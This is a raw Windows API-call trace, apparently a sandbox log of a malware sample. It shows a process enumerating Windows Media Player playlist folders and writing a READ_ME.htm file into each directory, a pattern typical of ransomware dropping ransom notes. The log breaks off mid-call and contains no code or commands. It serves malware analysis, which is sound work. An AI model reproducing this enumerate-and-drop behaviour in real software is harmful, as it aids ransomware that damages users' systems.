GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US", nBufferLength=0x105, lpBuffer=0x21cd50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US", lpFilePart=0x0) returned 0x4a [0143.236] SetErrorMode (uMode=0x1) returned 0x0 [0143.236] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\*" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\media player\\sync playlists\\en-us\\*"), lpFindFileData=0x21cef0 | out: lpFindFileData=0x21cef0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x629dac80, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x629dac80, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xf73e9a4c, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0143.236] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cf00 | out: lpFindFileData=0x21cf00*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x629dac80, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x629dac80, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xf73e9a4c, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0143.236] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cf00 | out: lpFindFileData=0x21cf00*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x629dac80, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x62cae6a0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xf740fbac, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="00010C6E", cAlternateFileName="")) returned 1 [0143.237] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cf00 | out: lpFindFileData=0x21cf00*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x629dac80, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x62cae6a0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xf740fbac, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="00010C6E", cAlternateFileName="")) returned 0 [0143.237] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0143.237] SetErrorMode (uMode=0x0) returned 0x1 [0143.237] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E", nBufferLength=0x105, lpBuffer=0x21cc90, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E", lpFilePart=0x0) returned 0x53 [0143.237] SetErrorMode (uMode=0x1) returned 0x0 [0143.237] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\*" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\media player\\sync playlists\\en-us\\00010c6e\\*"), lpFindFileData=0x21ce30 | out: lpFindFileData=0x21ce30*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x629dac80, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x62cae6a0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xf740fbac, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0143.259] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21ce40 | out: lpFindFileData=0x21ce40*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x629dac80, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x62cae6a0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xf740fbac, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0143.259] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21ce40 | out: lpFindFileData=0x21ce40*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x62c88540, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x62c88540, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xf73e9a4c, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x414, dwReserved0=0x0, dwReserved1=0x0, cFileName="01_Music_auto_rated_at_5_stars.wpl", cAlternateFileName="01_MUS~1.WPL")) returned 1 [0143.259] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21ce40 | out: lpFindFileData=0x21ce40*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x62c88540, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x62c88540, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xf73e9a4c, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x4ff, dwReserved0=0x0, dwReserved1=0x0, cFileName="02_Music_added_in_the_last_month.wpl", cAlternateFileName="02_MUS~1.WPL")) returned 1 [0143.259] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21ce40 | out: lpFindFileData=0x21ce40*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x62c88540, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x62c88540, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xf73e9a4c, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x4f3, dwReserved0=0x0, dwReserved1=0x0, cFileName="03_Music_rated_at_4_or_5_stars.wpl", cAlternateFileName="03_MUS~1.WPL")) returned 1 [0143.260] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21ce40 | out: lpFindFileData=0x21ce40*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x62c88540, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x62c88540, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xf73e9a4c, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x504, dwReserved0=0x0, dwReserved1=0x0, cFileName="04_Music_played_in_the_last_month.wpl", cAlternateFileName="04_MUS~1.WPL")) returned 1 [0143.260] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21ce40 | out: lpFindFileData=0x21ce40*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x62c88540, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x62c88540, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xf73e9a4c, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x31d, dwReserved0=0x0, dwReserved1=0x0, cFileName="05_Pictures_taken_in_the_last_month.wpl", cAlternateFileName="05_PIC~1.WPL")) returned 1 [0143.260] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21ce40 | out: lpFindFileData=0x21ce40*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x62c88540, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x62c88540, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xf73e9a4c, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x311, dwReserved0=0x0, dwReserved1=0x0, cFileName="06_Pictures_rated_4_or_5_stars.wpl", cAlternateFileName="06_PIC~1.WPL")) returned 1 [0143.260] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21ce40 | out: lpFindFileData=0x21ce40*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x62c88540, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x62c88540, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xf73e9a4c, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x410, dwReserved0=0x0, dwReserved1=0x0, cFileName="07_TV_recorded_in_the_last_week.wpl", cAlternateFileName="07_TV_~1.WPL")) returned 1 [0143.260] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21ce40 | out: lpFindFileData=0x21ce40*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x62c88540, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x62c88540, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xf740fbac, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x3fc, dwReserved0=0x0, dwReserved1=0x0, cFileName="08_Video_rated_at_4_or_5_stars.wpl", cAlternateFileName="08_VID~1.WPL")) returned 1 [0143.260] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21ce40 | out: lpFindFileData=0x21ce40*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x62c88540, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x62c88540, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xf740fbac, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x401, dwReserved0=0x0, dwReserved1=0x0, cFileName="09_Music_played_the_most.wpl", cAlternateFileName="09_MUS~1.WPL")) returned 1 [0143.260] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21ce40 | out: lpFindFileData=0x21ce40*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x62c88540, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x62c88540, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xf740fbac, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x427, dwReserved0=0x0, dwReserved1=0x0, cFileName="10_All_Music.wpl", cAlternateFileName="10_ALL~1.WPL")) returned 1 [0143.260] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21ce40 | out: lpFindFileData=0x21ce40*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x62c88540, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x62c88540, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xf740fbac, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x249, dwReserved0=0x0, dwReserved1=0x0, cFileName="11_All_Pictures.wpl", cAlternateFileName="11_ALL~1.WPL")) returned 1 [0143.261] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21ce40 | out: lpFindFileData=0x21ce40*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x62c88540, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x62c88540, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xf740fbac, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x437, dwReserved0=0x0, dwReserved1=0x0, cFileName="12_All_Video.wpl", cAlternateFileName="12_ALL~1.WPL")) returned 1 [0143.261] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21ce40 | out: lpFindFileData=0x21ce40*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x62c88540, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x62c88540, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xf740fbac, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x437, dwReserved0=0x0, dwReserved1=0x0, cFileName="12_All_Video.wpl", cAlternateFileName="12_ALL~1.WPL")) returned 0 [0143.261] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0143.262] SetErrorMode (uMode=0x0) returned 0x1 [0143.262] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E", nBufferLength=0x105, lpBuffer=0x21cc90, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E", lpFilePart=0x0) returned 0x53 [0143.262] SetErrorMode (uMode=0x1) returned 0x0 [0143.263] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\*" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\media player\\sync playlists\\en-us\\00010c6e\\*"), lpFindFileData=0x21ce30 | out: lpFindFileData=0x21ce30*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x629dac80, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x62cae6a0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xf740fbac, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0143.264] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21ce40 | out: lpFindFileData=0x21ce40*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x629dac80, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x62cae6a0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xf740fbac, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0143.264] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21ce40 | out: lpFindFileData=0x21ce40*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x62c88540, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x62c88540, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xf73e9a4c, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x414, dwReserved0=0x0, dwReserved1=0x0, cFileName="01_Music_auto_rated_at_5_stars.wpl", cAlternateFileName="01_MUS~1.WPL")) returned 1 [0143.264] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21ce40 | out: lpFindFileData=0x21ce40*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x62c88540, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x62c88540, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xf73e9a4c, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x4ff, dwReserved0=0x0, dwReserved1=0x0, cFileName="02_Music_added_in_the_last_month.wpl", cAlternateFileName="02_MUS~1.WPL")) returned 1 [0143.264] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21ce40 | out: lpFindFileData=0x21ce40*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x62c88540, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x62c88540, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xf73e9a4c, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x4f3, dwReserved0=0x0, dwReserved1=0x0, cFileName="03_Music_rated_at_4_or_5_stars.wpl", cAlternateFileName="03_MUS~1.WPL")) returned 1 [0143.265] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21ce40 | out: lpFindFileData=0x21ce40*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x62c88540, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x62c88540, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xf73e9a4c, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x504, dwReserved0=0x0, dwReserved1=0x0, cFileName="04_Music_played_in_the_last_month.wpl", cAlternateFileName="04_MUS~1.WPL")) returned 1 [0143.265] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21ce40 | out: lpFindFileData=0x21ce40*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x62c88540, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x62c88540, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xf73e9a4c, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x31d, dwReserved0=0x0, dwReserved1=0x0, cFileName="05_Pictures_taken_in_the_last_month.wpl", cAlternateFileName="05_PIC~1.WPL")) returned 1 [0143.265] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21ce40 | out: lpFindFileData=0x21ce40*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x62c88540, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x62c88540, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xf73e9a4c, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x311, dwReserved0=0x0, dwReserved1=0x0, cFileName="06_Pictures_rated_4_or_5_stars.wpl", cAlternateFileName="06_PIC~1.WPL")) returned 1 [0143.265] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21ce40 | out: lpFindFileData=0x21ce40*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x62c88540, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x62c88540, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xf73e9a4c, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x410, dwReserved0=0x0, dwReserved1=0x0, cFileName="07_TV_recorded_in_the_last_week.wpl", cAlternateFileName="07_TV_~1.WPL")) returned 1 [0143.265] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21ce40 | out: lpFindFileData=0x21ce40*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x62c88540, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x62c88540, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xf740fbac, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x3fc, dwReserved0=0x0, dwReserved1=0x0, cFileName="08_Video_rated_at_4_or_5_stars.wpl", cAlternateFileName="08_VID~1.WPL")) returned 1 [0143.265] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21ce40 | out: lpFindFileData=0x21ce40*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x62c88540, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x62c88540, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xf740fbac, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x401, dwReserved0=0x0, dwReserved1=0x0, cFileName="09_Music_played_the_most.wpl", cAlternateFileName="09_MUS~1.WPL")) returned 1 [0143.265] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21ce40 | out: lpFindFileData=0x21ce40*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x62c88540, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x62c88540, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xf740fbac, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x427, dwReserved0=0x0, dwReserved1=0x0, cFileName="10_All_Music.wpl", cAlternateFileName="10_ALL~1.WPL")) returned 1 [0143.266] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21ce40 | out: lpFindFileData=0x21ce40*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x62c88540, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x62c88540, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xf740fbac, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x249, dwReserved0=0x0, dwReserved1=0x0, cFileName="11_All_Pictures.wpl", cAlternateFileName="11_ALL~1.WPL")) returned 1 [0143.266] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21ce40 | out: lpFindFileData=0x21ce40*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x62c88540, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x62c88540, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xf740fbac, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x437, dwReserved0=0x0, dwReserved1=0x0, cFileName="12_All_Video.wpl", cAlternateFileName="12_ALL~1.WPL")) returned 1 [0143.266] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21ce40 | out: lpFindFileData=0x21ce40*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x62c88540, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x62c88540, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xf740fbac, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x437, dwReserved0=0x0, dwReserved1=0x0, cFileName="12_All_Video.wpl", cAlternateFileName="12_ALL~1.WPL")) returned 0 [0143.266] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0143.267] SetErrorMode (uMode=0x0) returned 0x1 [0143.267] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21cb30, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\READ_ME.htm", lpFilePart=0x0) returned 0x5f [0143.267] SetErrorMode (uMode=0x1) returned 0x0 [0143.267] CreateFileW (lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\READ_ME.htm" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\media player\\sync playlists\\en-us\\00010c6e\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1d0 [0143.269] GetFileType (hFile=0x1d0) returned 0x1 [0143.269] SetErrorMode (uMode=0x0) returned 0x1 [0143.269] GetFileType (hFile=0x1d0) returned 0x1 [0143.269] WriteFile (in: hFile=0x1d0, lpBuffer=0x288e210*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21d098, lpOverlapped=0x0 | out: lpBuffer=0x288e210*, lpNumberOfBytesWritten=0x21d098*=0x720, lpOverlapped=0x0) returned 1 [0143.271] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21cbf0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\READ_ME.htm", lpFilePart=0x0) returned 0x56 [0143.271] SetErrorMode (uMode=0x1) returned 0x0 [0143.271] CreateFileW (lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\READ_ME.htm" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\media player\\sync playlists\\en-us\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1d0 [0143.271] GetFileType (hFile=0x1d0) returned 0x1 [0143.271] SetErrorMode (uMode=0x0) returned 0x1 [0143.271] GetFileType (hFile=0x1d0) returned 0x1 [0143.272] WriteFile (in: hFile=0x1d0, lpBuffer=0x2892830*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21d158, lpOverlapped=0x0 | out: lpBuffer=0x2892830*, lpNumberOfBytesWritten=0x21d158*=0x720, lpOverlapped=0x0) returned 1 [0143.273] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21ccb0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\READ_ME.htm", lpFilePart=0x0) returned 0x50 [0143.273] SetErrorMode (uMode=0x1) returned 0x0 [0143.273] CreateFileW (lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\READ_ME.htm" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\media player\\sync playlists\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1d0 [0143.274] GetFileType (hFile=0x1d0) returned 0x1 [0143.274] SetErrorMode (uMode=0x0) returned 0x1 [0143.274] GetFileType (hFile=0x1d0) returned 0x1 [0143.274] WriteFile (in: hFile=0x1d0, lpBuffer=0x2896e40*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21d218, lpOverlapped=0x0 | out: lpBuffer=0x2896e40*, lpNumberOfBytesWritten=0x21d218*=0x720, lpOverlapped=0x0) returned 1 [0143.275] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Media Player\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21cd70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Media Player\\READ_ME.htm", lpFilePart=0x0) returned 0x41 [0143.275] SetErrorMode (uMode=0x1) returned 0x0 [0143.275] CreateFileW (lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Media Player\\READ_ME.htm" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\media player\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1d0 [0143.276] GetFileType (hFile=0x1d0) returned 0x1 [0143.276] SetErrorMode (uMode=0x0) returned 0x1 [0143.276] GetFileType (hFile=0x1d0) returned 0x1 [0143.276] WriteFile (in: hFile=0x1d0, lpBuffer=0x289b410*, nNumberOfBytesToWrite=0x720, 